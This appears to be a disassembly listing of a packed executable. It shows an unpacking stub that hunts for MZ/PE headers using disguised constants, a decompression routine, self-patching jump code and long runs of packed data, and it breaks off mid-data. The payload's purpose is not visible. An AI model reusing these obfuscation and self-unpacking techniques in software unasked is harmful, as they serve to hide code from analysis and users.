--------------------------------------------------------------------------- loc_4D3041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4D304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4D306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4D3074 loc_4D306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4D304E ; --------------------------------------------------------------------------- loc_4D3074: ; CODE XREF: start+57j mov edi, eax loc_4D3076: ; CODE XREF: start+1Bj jmp loc_4D3265 ; --------------------------------------------------------------------------- db 3 aJ2 db 'ǹj2',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4D3086: ; CODE XREF: start+8j mov eax, offset loc_53C6A8 mov ecx, offset word_4D326A push eax push ecx call sub_4D311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4D3265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- aUFkxB db '(“ÉäŠx¼^',0 dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh dd 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4D311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4D3127: ; CODE XREF: sub_4D311B:loc_4D313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4D3132: ; CODE XREF: sub_4D311B+7Aj ; sub_4D311B+C3j ... add dl, dl jnz short loc_4D313B mov dl, [esi] inc esi adc dl, dl loc_4D313B: ; CODE XREF: sub_4D311B+19j jnb short loc_4D3127 add dl, dl jnz short loc_4D3146 mov dl, [esi] inc esi adc dl, dl loc_4D3146: ; CODE XREF: sub_4D311B+24j jnb short loc_4D3197 xor eax, eax add dl, dl jnz short loc_4D3153 mov dl, [esi] inc esi adc dl, dl loc_4D3153: ; CODE XREF: sub_4D311B+31j jnb loc_4D3238 add dl, dl jnz short loc_4D3162 mov dl, [esi] inc esi adc dl, dl loc_4D3162: ; CODE XREF: sub_4D311B+40j adc eax, eax add dl, dl jnz short loc_4D316D mov dl, [esi] inc esi adc dl, dl loc_4D316D: ; CODE XREF: sub_4D311B+4Bj adc eax, eax add dl, dl jnz short loc_4D3178 mov dl, [esi] inc esi adc dl, dl loc_4D3178: ; CODE XREF: sub_4D311B+56j adc eax, eax add dl, dl jnz short loc_4D3183 mov dl, [esi] inc esi adc dl, dl loc_4D3183: ; CODE XREF: sub_4D311B+61j adc eax, eax jz short loc_4D318D push edi sub edi, eax mov al, [edi] pop edi loc_4D318D: ; CODE XREF: sub_4D311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3197: ; CODE XREF: sub_4D311B:loc_4D3146j mov eax, 1 loc_4D319C: ; CODE XREF: sub_4D311B:loc_4D31B0j add dl, dl jnz short loc_4D31A5 mov dl, [esi] inc esi adc dl, dl loc_4D31A5: ; CODE XREF: sub_4D311B+83j adc eax, eax add dl, dl jnz short loc_4D31B0 mov dl, [esi] inc esi adc dl, dl loc_4D31B0: ; CODE XREF: sub_4D311B+8Ej jb short loc_4D319C sub eax, ebx mov ebx, 1 jnz short loc_4D31E3 mov ecx, 1 loc_4D31C0: ; CODE XREF: sub_4D311B:loc_4D31D4j add dl, dl jnz short loc_4D31C9 mov dl, [esi] inc esi adc dl, dl loc_4D31C9: ; CODE XREF: sub_4D311B+A7j adc ecx, ecx add dl, dl jnz short loc_4D31D4 mov dl, [esi] inc esi adc dl, dl loc_4D31D4: ; CODE XREF: sub_4D311B+B2j jb short loc_4D31C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D31E3: ; CODE XREF: sub_4D311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4D31F1: ; CODE XREF: sub_4D311B:loc_4D3205j add dl, dl jnz short loc_4D31FA mov dl, [esi] inc esi adc dl, dl loc_4D31FA: ; CODE XREF: sub_4D311B+D8j adc ecx, ecx add dl, dl jnz short loc_4D3205 mov dl, [esi] inc esi adc dl, dl loc_4D3205: ; CODE XREF: sub_4D311B+E3j jb short loc_4D31F1 cmp eax, 7D00h jnb short loc_4D3228 cmp eax, 500h jb short loc_4D3223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3223: ; CODE XREF: sub_4D311B+F8j cmp eax, 7Fh ja short loc_4D322B loc_4D3228: ; CODE XREF: sub_4D311B+F1j add ecx, 2 loc_4D322B: ; CODE XREF: sub_4D311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3238: ; CODE XREF: sub_4D311B:loc_4D3153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4D3259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3259: ; CODE XREF: sub_4D311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4D311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4D3265: ; CODE XREF: start:loc_4D3076j ; start+9Dj jmp loc_53C6A8 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4D326A dw 38E9h ; DATA XREF: start+77o dd 15235C4h, 8B36BCBAh, 1F33E84h, 0F8AF2F84h, 7B848B71h dd 685400BFh, 64696D65h, 0EA1EE161h, 1BE13522h, 0E178FCFFh dd 33E2FA1Eh, 0FF0BE11Eh, 0FFB0BDF5h, 5E0392CDh, 190EAD4h dd 52F1BAAAh, 0A0375B03h, 39747365h, 419C7261h, 9F2E5E70h dd 0F5D32C78h, 68352F7Fh, 0B8217975h, 0FCAE4303h, 2F848B11h dd 43B898C8h, 44A6F5BAh, 3D124BCh, 190BB70h, 0EE2288ABh dd 728BFC11h, 60D41CC5h, 5D0022E8h, 35D3ED81h, 7989062Bh dd 0D016195h, 1109BDB5h, 7EA1585h, 1999B283h, 0C74010Eh dd 0E2C8E88Bh, 7BD1A4B8h, 4470C9C2h, 53E140Ch, 186A2A40h dd 29A3E845h, 741E9A68h, 0DF940783h, 4B25070Ah, 0D5A40A89h dd 214E942h, 7DFC45h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B0036C1h fcmovb st, st(7) ; CODE XREF: Themida_:004D336Aj inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 rep sub dword ptr [ebx], 30h inc ebp call dword ptr [edx] inc ebx jmp short near ptr loc_4D334C+1 ; --------------------------------------------------------------------------- dd 61DC36C6h, 28C9E826h, 0D4604C2h, 0FF7CC481h, 0A491C02h dd 18D3740h, 5D8B8045h, 4485C708h, 8D504A19h, 0C3D1000Ah dd 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h, 64BA8D28h dd 800475ECh, 0F4BB0E8Ah, 0ABB85B90h, 78540F37h, 0FCCD0D3h dd 753B4B08h, 0C3AF05F7h, 4A244647h, 0A2F94662h, 0BA61D142h dd 0F0D0078Ah, 45EED85Fh, 0EB4DA0FCh, 0C8ADA304h, 0C53E8046h dd 36BAF740h, 7DE63484h, 7FEB0C19h, 6D0CF83Eh, 4CF012C8h dd 10A8F40Eh, 6514C14Ah, 3D604F0h, 3E0D1F8h, 12896C2h dd 1C8ADB33h, 0CCFB8030h, 0AC30A72h, 0D3057739h, 2226EFEBh dd 67617F14h, 0F6660A0Dh, 0F4F51E08h, 10EA0AC3h, 72411AC3h dd 460A0D0Bh, 0EA240677h, 0F05D0121h, 83F4EC87h, 7202317Dh dd 0C00CB3B0h, 64A57676h, 1CF826AAh, 0A08D76E0h, 0A553BA8h dd 78820FFCh, 1BB09CBDh, 0EE538AAh, 0B90E08BAh, 84FC700Ah dd 3850BDh, 49470FFEh, 0B9FA2675h, 0C06A1DAAh, 0E3101BBh dd 0EB7682F1h, 8E8002DDh, 2C3A8986h, 65513807h, 0DC45363Fh dd 13EF268Ah, 5947E4E9h, 9657F76Bh, 211C1304h, 8A80C45Fh dd 82052575h, 1908CC45h, 57004721h, 8F36E9C4h, 0E3617EAFh dd 1F800FDDh, 51D428FFh, 7F0F02DDh, 20D2C5DAh, 60334A8Dh dd 290660EAh, 0B41C92ECh, 6762D901h, 3976F182h, 19CC81D8h dd 16C32C94h, 935EE1F4h, 0AB4CF1B8h, 3E410Dh, 0EA2F4407h dd 0D8817353h, 0E771D21Eh, 0A2231418h, 0BD0C074Fh, 308F75C0h dd 55CA5817h, 325F7E00h, 0B57D7BFCh, 0CB8C1C5Ch, 39703034h dd 76005B4Eh, 51B8100Fh, 0F8D1043Dh, 0C346EC3Bh, 2E097556h dd 0E0211ABh, 65E4EC48h, 0A06C8F90h, 8E05C584h, 0C69C5496h dd 40A8F53h, 8C8A29C2h, 0E71BBA71h, 44F4760Eh, 773081FFh dd 341D2204h, 0F98406C1h, 0BC207533h, 0ADD3F41h, 309CEFD9h dd 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh, 0E9A9453Fh, 0C4624060h dd 4D028C52h, 0AA821125h, 0AB3413B1h, 1322845Ah, 0A2C4656h dd 0A7EE825Eh, 444DA881h, 0B9FA8A65h, 230513A2h, 52432897h dd 806FE96Fh, 10C1AA78h, 0CCC3006Dh, 0F193B70Fh, 0BF06FD64h dd 15E93306h, 0C246382Bh, 7A121C00h, 0F736939h, 8E594000h dd 9C809981h, 3BE91AC8h, 9E03025Ch, 50EF4ED4h, 0B561DA8Dh dd 1F457348h, 0BCC005E2h, 0CA0B60CEh, 39863110h, 0DDC8F965h dd 0D474F302h, 23A617D4h, 0C45E0E56h, 626D8A44h, 5646201Ch dd 0FF009AC4h, 0F17664F8h, 1D10BA4Dh, 31EADCC0h, 49E08C27h dd 8B20EE37h, 0FA8AF9FBh, 1A0C6C1Eh, 398C5880h, 8A11C460h dd 841A887Dh, 0C0C45848h, 0B0C5804Fh, 0EC81660Eh, 19D46610h dd 1CDE205Ah, 3509E930h, 0B62841h, 0EF846F96h, 831EB9F8h dd 5C7C4900h, 82F2E681h, 8CF46EC4h, 0FFA40032h, 158CF734h dd 0C8E867E8h, 0AB035B98h, 0E97EBA9Ah, 305B0012h, 6911313Dh dd 5700C11Bh, 0E07966CAh, 7954DE45h, 3A5A6032h, 301569A0h dd 0E60CE9ECh, 183FF6BFh, 0C01806A2h, 530BEA37h, 3003C80Fh dd 58BA363h, 8ACAA988h, 3E528898h, 2330B897h, 42EF581Ah dd 0D4B14CB0h, 674CEA06h, 0C7340C8Ah, 5540193Eh, 0BB344CEDh dd 0BA5900DCh, 9303517Ah, 64060EA5h, 0F912C18Ch, 0E9FF1C54h dd 1E483896h, 57041E22h, 0EA5A9AB2h, 110AC8h, 3BF21632h dd 78085E94h, 0C44EF600h, 1CA5E1EDh, 0F48A0445h, 898B10C0h dd 0D85C4092h, 0EA2C48D9h, 0A98E9D4Fh, 771CC0B2h, 4BE0BFh dd 0DD5909DCh, 0BB8F8A0Ah, 2CD36900h, 6CEBE48Eh, 38D80065h dd 983FB2FCh, 23008359h, 94A33178h, 0F48070h, 3B8AC565h dd 549CE043h, 1B00A672h, 87AADC8Eh, 0F8657EA5h, 0F80B0085h dd 0FA3808B4h, 3F005CD1h, 6FF451EAh, 9D73C5h, 4E9CB59Bh dd 0A692F3ADh, 0E66C4A07h, 0B407453h, 1FB369A3h, 0D81836h dd 7AA2DA03h, 0CB010E73h, 0F394A460h, 0B9BC1D6Fh, 0D968187Eh dd 0BDB4A01Ch, 0F432B824h, 0A76F4900h, 1833B65Ah, 30A59FFAh dd 6D3A9D1Ah, 764061EDh, 78C377F5h, 4274918h, 0C5626A00h dd 9BAC3A1Ch, 0D4365C01h, 0EAE48DB6h, 128E8h, 2B5A3864h dd 21E85786h, 7A5BA48h, 0C7A2317h, 0C29C004Fh, 1E9AE132h dd 0D8C0770Bh, 19451826h, 699FAB00h, 0FC57462Dh, 0D0483A39h dd 0DD628A0Ch, 49102430h, 187C2547h, 18C750E2h, 69CE77D5h dd 3C620043h, 60E647E5h, 73A28127h, 5E008729h, 8FCE1ADBh dd 1714A69h, 6B4DEE43h, 807E24CAh, 5AD5AE59h, 3CFC8F7h dd 0DA94ABA4h, 6811C370h, 211EC5FFh, 3A8E8031h, 0BA0A9753h dd 0B286ED00h, 1D287120h, 2A47698h, 1469EF63h, 5081D1A9h dd 14BA310h, 80E22485h, 5E92FA68h, 5B7680F2h, 7D85A500h dd 0D86C0A46h, 7EBE3EBFh, 0A810BB50h, 3EB06998h, 0D1808B6Ah dd 425D219Fh, 0BD00C322h, 636EA226h, 18F51D8Ch, 81C7A514h dd 0B6FFBC9h, 0CB978641h, 3885FE19h, 4B149E9Dh, 4200BC15h dd 0FCF24361h, 0F060E6BAh, 6D8BA898h, 68A05014h, 318107Bh dd 3E650247h, 90293BFFh, 80762DDCh, 81442477h, 6F2800AFh dd 0F13723E4h, 9003FD3Eh, 0EFC588C8h, 86AD88ACh, 980C28AAh dd 0D54503A4h, 7B48249Dh, 768C4140h, 11FDCA30h, 3EA07E45h dd 1E067111h, 80387057h, 33C20B00h, 207E6F80h, 41691D3Eh dd 12F08677h, 2E0CB050h, 6899A0BAh, 79E2E0ABh, 9EB0C258h dd 4048CBF8h, 2949E620h, 0A5AE0B24h, 6F33008Dh, 4C9B64B3h dd 22182F46h, 4C24608Eh, 0A50BE8A4h, 809EEF88h, 0C3CAC8FEh dd 22BCA409h, 437ED1A3h, 90368A30h, 0E920DA92h, 9EF0C107h dd 0B2188632h, 31C9FEh, 1802787Fh, 1F10FFF8h, 0C8349A02h dd 44D4F10Eh, 271A1438h, 94064445h, 0D8E67CE2h, 0C6CA670Ch dd 18558939h, 29762471h, 0F83FD1B2h, 0B7A4000Dh, 0ED734F99h dd 0DDE705E9h, 0A94CA60h, 1D095BCh, 9E7EEE23h, 0FE8C5133h dd 67A19ECAh, 9D9BBDC0h, 1712D5C6h, 1875E9Fh, 0C80EB24Bh dd 0F4DC20ABh, 5066D740h, 0A24023h, 24C1AEF3h, 63A5EAD3h dd 0A6B4EC00h, 959E20CFh, 0AA7E05ACh, 1123FF8h, 0BEC244CCh dd 0CA489CEFh, 0D93B3178h, 998030E6h, 4329F644h, 0BB0071F7h dd 65821849h, 3B8AAFD4h, 0CE033907h, 433F4189h, 4048F3F1h dd 0C5FEA8B8h, 332288h, 276872D6h, 0D9097021h, 0C9778328h dd 0A1D054A0h, 484EAB80h, 0A0877892h, 0A85956F8h, 27334579h dd 143B6811h, 0E2471799h, 24705530h, 2054A1FCh, 0BC019DE0h dd 8AFB1AA8h, 509C7D4Ah, 21D980A3h, 49D8D159h, 5006C7Ch dd 0AEB892B4h, 19D1828h, 83DE3051h, 0CC52CEFAh, 0C900F899h dd 0EA88047Dh, 3C875B45h, 6B8301EDh, 0CEA726E6h, 0E07C3EC1h dd 0B57C8B52h, 0BBBE9600h, 0D8091551h, 112F8E8h, 4066D09Ah dd 20F01C38h, 0E10988AAh, 8016050Bh, 58780450h, 14D9030Ah dd 22074E75h, 0F8850A8h, 745C80A0h, 83F892FBh, 0AC5E467h dd 8C86D840h, 98334002h, 30472040h, 0C8FCFA4Dh, 80A59E80h dd 7DE5C4D5h, 0E030589Eh, 0CEA4300Bh, 18E40AF5h, 2AC41C7h dd 404F231Ah, 23A51849h, 0DE79000Ch, 56ABD29Eh, 430E0021h dd 281D2D05h, 42002FC0h, 0C8FAB19Fh, 2657E680h, 62A0A114h dd 26210C01h, 0D824B8DAh, 2078989Ah, 7D00EC12h, 732A034Ch dd 61E6F7ACh, 9C49791Ch, 0B1C8E3D8h, 0B21A2620h, 40407C0Ch dd 803DDFA4h, 0CD0CF5DEh, 39258A7Eh, 81C460FEh, 0B7D85D18h dd 8A498B03h, 0A2428F16h dd 3E5C684Eh, 363C204Fh, 0C51DF704h, 3CCCC4CAh, 0F0108696h dd 88133CFAh, 0E61C066Bh, 2009712Fh, 2BC330h, 0A60D9B18h dd 0EECBFC55h, 0DB131D83h, 204D93CFh, 0F8A28638h, 545C814Dh dd 0F658C274h, 44511170h, 0EE989075h, 1A21886Bh, 0FC03501Ah dd 155048BCh, 8EA4A00Ch, 1BE780C8h, 0BAA07616h, 79505459h dd 0BB145C11h, 6CA280D9h, 0BC6E2C39h, 0A0C10016h, 0FBF72DC8h dd 0D50C35C6h, 39D24D26h, 549EE444h, 429F307Dh, 813A118Ah dd 1D877E08h, 0F716053Eh, 0AC192C0Bh, 20F64C51h, 6A86BA5h dd 76931300h, 9E143BB9h, 2446045Ah, 0C4F0C417h, 0A0B404EBh dd 146DC0E3h, 20A13D4h, 981280CDh, 17811B18h, 1F0C30BFh dd 0FC7185D9h, 38BC184Ch, 868B0148h, 0AB1447E6h, 0FF114823h dd 1040580Bh, 0B90FA178h, 187C1E23h, 0C810106Ch, 27C3259h dd 0E4489E25h, 6B8C482Dh, 0FC602CD4h, 0A4AC0958h, 40C51404h dd 0ED670C9Ah, 0A797C2Eh, 0DFA412CCh, 3A00268Ch, 6B82D745h dd 14F7FCC8h, 50D49D28h, 0E68810E2h, 8031C023h, 82E5A0D2h dd 0A96AC700h, 0F40621A6h, 0B51B2CDAh, 0C25B60B8h, 0CC0062EEh dd 768B1FBEh, 71F6F098h, 0E4A70EABh, 9E8FE7BDh, 92E2C746h dd 5F615EE0h, 0EBA7C88h, 0F0882C25h, 889F607Fh, 28268826h dd 5E251038h, 4EC0AC58h, 520F77E4h, 0E2F59F00h, 9271A2EBh dd 35550058h, 99AC8BD2h, 1093947Eh, 38385708h, 49B68A07h dd 4477C3B2h, 411ECE81h, 48A414BCh, 484923ACh, 0C0B80020h dd 7E4C163Fh, 9034F00Fh, 66D82094h, 22449848h, 4324241Ch dd 854D40A8h, 0A30BF6CDh, 0B84726E0h, 44E4C90h, 0BDC6B1FDh dd 840CC17Eh, 0DAFA0031h, 8C8D5003h, 0D45F3316h, 94E3FC19h dd 98A80ABCh, 14D286C7h, 18746472h, 29E2AEBAh, 3240C7F8h dd 777E00A4h, 58220DB1h, 5E4DC845h, 48047C68h, 168775FAh dd 85CC0F45h, 8884C026h, 0C848CAEEh, 0AA268164h, 0C20070A8h dd 19CF9F5Bh, 870C7C85h, 492F710Eh, 492803Dh, 46C2CA8h dd 888142FCh, 23019F44h, 18297Ch, 265C13Bh, 189ACC47h dd 9942E6CEh, 3077D1Bh, 70341D1Eh, 0E081A9E4h, 87003FA6h dd 3907C0EBh, 83800DCDh, 4D53E630h, 44E82C23h, 8CA824F9h dd 0FBD0F107h, 8407F1D2h, 0D54354F9h, 3C94E081h, 0D6F815E3h dd 76019026h, 48E27C86h, 5DAC41C4h, 92D428CAh, 476CB004h dd 142AC503h, 306839C2h, 0F099FECAh, 18CF9D90h, 0D40648E8h dd 0F19DB08h, 8E29C9A1h, 5A94EEA7h, 2E6200D1h, 19DA7140h dd 80A0CB5Dh, 3C3BA0F6h, 0E620002h, 18E817F3h, 570C94A1h dd 307A80E6h, 30BA2686h, 44F4AA3Ch, 0F9013A26h, 7460DC15h dd 2FD9B156h, 26FF0BF0h, 9E106F3Eh, 80F029C3h, 80F6FB19h dd 2A34C848h, 0B4C1C05Bh, 43037110h, 913B84E7h, 11CFA3A8h dd 81FD589Ah, 562038BEh, 50A9190Bh, 5A28A308h, 25692911h dd 0CB9FC204h, 9C50AA00h, 88649661h, 0EC2CE732h, 0B760DB08h dd 1244C480h, 7F7BB060h, 12490EF8h, 41804CD4h, 3A73A49Bh dd 6F261470h, 42441408h, 1BF118A1h, 8E7A6888h, 0A04FDD06h dd 6DB703B9h, 0D17C2781h, 35697FD0h, 0BD6C7301h, 7AD8CD24h dd 9B478C42h, 44E6E198h, 0EB607EE0h, 282367F4h, 62744932h dd 88B50815h, 4FE7E0C3h, 23DC4596h, 1CBCC7A2h, 0BE7D2289h dd 8CB938DDh, 0D044671Fh, 3ACB5C89h, 9E297630h, 8CA8A850h dd 0CD64FDFAh, 0F7022468h, 0F4484A3Ah, 8A8B9E0h, 0B8AAA4E6h dd 0A23EAC14h, 60D40CCh, 0B0DA88AEh, 651DE882h, 79B08ACAh dd 1A029923h, 21A4DAA1h, 8CC24C62h, 0AAE04C68h, 18B2C22Ah dd 6A54F0F6h, 9832A08Ch, 20D871B7h, 0F76663B2h, 21C45D12h dd 0A677A30Fh, 66D0A58Ah, 4182C053h, 23E07E0Ah, 5D89AC67h dd 97241121h, 8FA85500h, 0E0E9697Ch, 430061FCh, 1767ADCEh dd 0EC2499B9h, 10B9D698h, 21094CA7h, 0F02063FEh, 28D05C83h dd 0ED2FB80h, 54F86D14h, 0A78A1580h, 9B0070C3h, 0A029BF85h dd 7358B2h, 932B8E43h, 37A31252h, 0B55C2C00h, 14B288E9h dd 96D50078h, 9CC40D21h, 6C00BF95h, 89E6BE9Bh, 0D3BDF5h dd 67259073h, 0C9AF1355h, 0E7B340C1h, 0C700ADA1h, 0E8780496h dd 0B50F95FEh, 0A0238198h, 7354E7BEh, 0B7E677h, 0E4025562h dd 271E2B37h, 9795E800h, 45C98114h, 2487F012h, 48C89FAFh dd 0A87ED504h, 9CE74F8h, 0A1EA1050h, 69C0D800h, 0A6FA2B77h dd 7913BA00h, 686A8B84h, 3F1EE4Bh, 2C5D31C9h, 46B89EE9h dd 40C1D57Ch, 0DEF28A0Ch, 8D7130h, 0E7911723h, 88524846h dd 129B2500h, 635990B8h, 0BC0066Bh, 4014F5A6h, 16FA5208h dd 63BC0095h, 8920C07Eh, 6C60E701h, 8EB88750h, 57DE0E6h dd 0BC780070h, 46B08F0Bh, 3D00C37Dh, 0F2B6E2FAh, 3C6EBEC5h dd 384CC07Fh, 5D94CB24h, 0C9660074h, 94110653h, 0BF39989Ch dd 21238063h, 705BE792h, 27543D52h, 1DDD4BAEh, 0B57B4003h dd 4795CA1Eh, 80D5733Eh, 0B9C9150Bh, 1D6C70DFh, 8013BD77h dd 47764CA2h, 0DC002D99h, 3DD3BB26h, 18325F5Ch, 40EFC716h dd 82045CFh, 70E41Ah, 1F239A9Dh, 7458B4DEh, 0C18A4E01h dd 0E7145FDDh, 26B8360h, 97A20F32h, 7AE3B148h, 9CC8E8E8h dd 96B3C300h, 0D41F319Ah, 558CB315h, 5BD1F8h, 796F875h dd 0CA9CB70Dh, 8967C001h, 0E5D4232Eh, 807C79D8h, 15004E8Eh dd 633037EAh, 3A1E2FFh, 0F86F1496h, 8BF80B57h, 0B901DFB3h dd 0E3269973h, 0B1F4B2BAh db 84h, 78h word_4D4152 dw 0E86h ; DATA XREF: ___:off_42E644o dd 7C0753DEh, 60405D47h, 45F28EEAh, 50FCB107h, 96801303h dd 63ACDAh, 0A529B98Ah, 497869E7h, 0DDB7891Dh, 6A30038h dd 0E3C25F46h, 22AD00A5h, 104EE7B1h, 0B24CC8E9h, 44980012h dd 0EC94212Ah, 46B12C47h, 1A011ACh, 315D6430h, 833C916h dd 0E8FF0446h, 896B007Ch, 876372D8h, 670270C1h, 1771D63Dh dd 603495EAh, 9366CD8Fh, 71B2EB00h, 70D83F76h, 65770437h dd 28CB832Ah, 4B8B205Ch, 5401887Bh, 0C91D287Dh, 16101EFAh dd 427FAB1Ah, 44C1CA4Ah, 7EE00124h, 413ECA8h, 4BF8A2E5h dd 7520BD1Eh, 87104D09h, 0CE0502Dh, 50B5DE93h, 0A7950D30h dd 0E2309218h, 51D330Fh, 6F7839B9h, 0DC1C324Eh, 0B0B5CF05h dd 3ACDF0ECh, 248BE8D9h, 506096F3h, 206E5D9Bh, 0E6E2059h dd 176B86ACh, 839E49EFh, 21003C1Ch, 20E665Eh, 3E34A972h dd 0D6B0E2FCh, 0A05F3ED8h, 7EC80A61h, 442A1F88h, 40433A64h dd 1D966E13h, 9CCA00B2h, 48E5FAA8h, 9602C4Fh, 0DAA04D38h dd 46925BC4h, 0C1E7A1F0h, 0A7AB7700h, 0FAEF42D8h, 0DB02318Ah dd 7D247678h, 0D9C300F8h, 676BC4E1h, 0C2290158h, 77F8A07Eh dd 88E47808h, 0C4C98672h, 0E630D90Fh, 271AB124h, 0A6800EBh dd 9340FEF1h, 3EF2BFCDh, 25DB9A03h, 4A2370h, 0E0786571h dd 4379FC95h, 86C4CE2Dh, 216CFCh, 0E7E05082h, 0A8A9A8Fh dd 0A288CC1Eh, 70D17A57h, 0E2073762h, 0D900CEFFh, 171E616h dd 3FA8A41h, 4269CFA9h, 79309CD4h, 86AB110Eh, 83398873h dd 850E715Fh, 867BFEE8h, 0EDC0965Ah, 6141A292h, 45A480BFh dd 173C4055h, 0E017ADDAh, 10C3446Dh, 0DF09304Bh, 0E0B57A21h dd 0F5C32A03h, 0A09BF088h, 0E01AD414h, 8973288Ah, 159600C8h dd 8F804B37h, 0BA0A390Ah, 0E095DB68h, 1D86D69Fh, 76A98876h dd 0EA5F825h, 0A4996C7Eh, 35466780h, 0E21CCD95h, 60A5BA4Eh dd 18CB89ECh, 3922EDB6h, 21D9937h, 69459E85h, 0C0E19621h dd 5CBC402Fh, 0D78E02A2h, 6B4CBF01h, 0D0FFB868h, 24810FECh dd 478C9E14h, 8460CABFh, 0AC9060A8h, 7CB5003Ch, 0D7A79D67h dd 765200F8h, 0AB96702Eh, 90BE797Dh, 43E43037h, 0D9125D06h dd 0F4E79200h, 0BB85E903h, 940200D3h, 0D8439158h, 0A03C70CAh dd 1FDB8459h, 44BC5224h, 0A8408C88h, 82312058h, 27338402h dd 84044042h, 15E866B5h, 848F9E7Eh, 57922D88h, 0B3F59600h dd 0E09EA7A5h, 7E2732BDh, 9530B248h, 9E791102h, 9F398897h dd 0D5024060h, 973FECF5h, 9458E602h, 80D1AA92h, 0FE4FDC9Ch dd 5C568253h, 4C71B0B2h, 0E0770498h, 6251FC94h, 4F83206Ah dd 120004E0h, 0E865BB5Ah, 277E8C81h, 0F440F6F0h, 0E2549D14h dd 279F32DCh, 41EE2B28h, 471943ACh, 204703Eh, 670077A4h dd 28419944h, 973D3C5Fh, 884D8422h, 15E1D800h, 0C0304C17h dd 0F291F10h, 0D44F241Eh, 8C79EC68h, 0DC7EE401h, 0A4D4EF3h dd 0C8C05090h, 0E082C072h, 6946FC97h, 88007122h, 0B47DE07Ah dd 2F7387h, 0D1CC697h, 0E42ABB02h, 7FC0A49Fh, 0D993FC40h dd 0F4EE29A3h, 567BF17Fh, 8A62E900h, 7E4DF924h, 0C8CB4FCFh dd 2A414650h, 4324C420h, 413B3A6Bh, 292B2141h, 0C8185F2Fh dd 0B9047AECh, 68D0E6F7h, 215099Eh, 0AB3F9D1Ch, 74C0CEFAh dd 418A29FBh, 7996DDC4h, 0D2C8A423h, 0E73C6D1Eh, 0F30584C4h dd 858128ECh, 306E1197h, 9A4074A0h, 8D0A01B0h, 0E6B6AB6Ah dd 31A1811Bh, 17EF4EECh, 2B1AFC4h, 0E5C2AC72h, 20C08A1Fh dd 9C98DEDDh, 847BA226h, 0D6F0ED84h, 0A500CCFCh, 2606B6E8h dd 0E12CA14h, 0D0B2DBFEh, 882A9850h, 8C72F293h, 0D44B1900h dd 7564DD2h, 0E01C45E7h, 6D12FAB7h, 18B295F3h, 0FC03FD3Bh dd 9B1B8750h, 6D269005h, 0F4066202h, 1290E5Ch, 3A5421E4h dd 0D4A7937Ah, 0C8003EF0h, 6BB3AAEBh, 4CA8A2F9h, 66124CCBh dd 8038B54Ah, 0AD9D3610h, 563D86Bh, 18CD250Fh, 0FA984072h dd 6250A504h, 0D045A012h, 0C0664008h, 0FC93E076h, 6B224946h dd 0E04E840Fh, 6ACEDFh, 9787091Ch, 6B26000Eh, 2CF5BD96h dd 5C581B14h, 764780ACh, 41EBB4h, 0B167AF0h, 6EF27F6h dd 7CDB2800h, 0C844B391h, 0C03E514Ah, 37A24863h, 0FEA2A938h dd 0BB4D02CFh, 0FDA60AB1h, 325B88E0h, 809DE491h, 60DCF321h dd 24B23156h, 805CDEFEh, 87B3389h, 0BB020E0Ah, 4C5473FFh dd 0F8996037h, 5FCF02F2h, 0F40280EFh, 7B0D9081h, 0F8302E8Ch dd 4ED28688h, 446480FCh, 7B0B6D3Ah, 96A365Ah, 1F7CD998h dd 0EAD700ACh, 0F93C9E9Fh, 0FFA1B900h, 9551B171h, 0EC8800A7h dd 7D4FB5ACh, 14735246h, 7EAD940Bh, 6B208096h, 9D95BAEh dd 64C8B288h, 317D821h, 5EED023Bh, 629FE4h, 8B8A8981h dd 9800A834h, 0B067E3A1h, 21A6C48h, 8653F67Bh, 0FCC08F0Ch dd 9F024E08h, 0E1F57D0Bh, 4700428Ch, 6077446Ch, 0B095ED55h dd 0DA7C394Ch, 971CC05Ah, 24052522h, 4E45A5E6h, 8AC58D8h dd 0C14478E0h, 8B46D3C4h, 0B70056B4h, 767F9C68h, 66B1CC5h dd 7A9244ABh, 1E0960DAh, 0D8428047h, 207C9034h, 